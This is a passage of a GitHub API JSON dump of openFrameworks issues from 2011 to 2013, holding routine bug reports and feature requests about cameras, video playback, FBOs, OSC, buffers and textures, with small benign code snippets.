\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/717","id":1458979,"number":717,"title":"suggest new calc clip planes routine","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-08-22T16:02:30Z","updated_at":"2011-08-22T16:02:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/716","id":1458044,"number":716,"title":"problems with stop/play in quicktime videoPlayer","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-08-22T14:11:34Z","updated_at":"2011-08-22T14:11:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/711","id":1414013,"number":711,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","user":{"login":"IonRod","id":886012,"avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","url":"https://api.github.com/users/IonRod","html_url":"https://github.com/IonRod","followers_url":"https://api.github.com/users/IonRod/followers","following_url":"https://api.github.com/users/IonRod/following","gists_url":"https://api.github.com/users/IonRod/gists{/gist_id}","starred_url":"https://api.github.com/users/IonRod/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/IonRod/subscriptions","organizations_url":"https://api.github.com/users/IonRod/orgs","repos_url":"https://api.github.com/users/IonRod/repos","events_url":"https://api.github.com/users/IonRod/events{/privacy}","received_events_url":"https://api.github.com/users/IonRod/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2011-08-16T10:21:29Z","updated_at":"2011-08-16T13:39:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/702","id":1359729,"number":702,"title":"cross platform video saving (ofVideoSaver?)","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-08-07T03:23:38Z","updated_at":"2011-08-07T12:19:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/701","id":1358688,"number":701,"title":"ofxOsc does not seem to work on 64bit Ubuntu","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":6,"created_at":"2011-08-06T19:14:37Z","updated_at":"2013-03-04T12:22:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/700","id":1349012,"number":700,"title":"ofBuffer with overloaded = operator","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-08-05T03:06:25Z","updated_at":"2011-08-05T03:06:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/699","id":1343463,"number":699,"title":"loadData() does not allocate as necessary","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":1,"created_at":"2011-08-04T10:29:57Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/697","id":1334657,"number":697,"title":"videoinput lib global statics","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2011-08-03T02:27:52Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/684","id":1302375,"number":684,"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","user":{"login":"mcanet","id":308759,"avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","url":"https://api.github.com/users/mcanet","html_url":"https://github.com/mcanet","followers_url":"https://api.github.com/users/mcanet/followers","following_url":"https://api.github.com/users/mcanet/following","gists_url":"https://api.github.com/users/mcanet/gists{/gist_id}","starred_url":"https://api.github.com/users/mcanet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mcanet/subscriptions","organizations_url":"https://api.github.com/users/mcanet/orgs","repos_url":"https://api.github.com/users/mcanet/repos","events_url":"https://api.github.com/users/mcanet/events{/privacy}","received_events_url":"https://api.github.com/users/mcanet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2011-07-28T12:12:52Z","updated_at":"2012-03-10T04:40:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/679","id":1278252,"number":679,"title":"possible bug in getEuler / getOrientation / getRoll","user":{"login":"companje","id":156066,"avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"30a7e135fe77636519d74d129c60e156","url":"https://api.github.com/users/companje","html_url":"https://github.com/companje","followers_url":"https://api.github.com/users/companje/followers","following_url":"https://api.github.com/users/companje/following","gists_url":"https://api.github.com/users/companje/gists{/gist_id}","starred_url":"https://api.github.com/users/companje/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/companje/subscriptions","organizations_url":"https://api.github.com/users/companje/orgs","repos_url":"https://api.github.com/users/companje/repos","events_url":"https://api.github.com/users/companje/events{/privacy}","received_events_url":"https://api.github.com/users/companje/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-07-24T18:26:54Z","updated_at":"2011-07-24T18:26:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/671","id":1262459,"number":671,"title":"isFile() segfaults on win7","user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-07-21T11:27:16Z","updated_at":"2011-07-21T11:29:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/670","id":1261982,"number":670,"title":"mouseReleased fires mouseMoved too 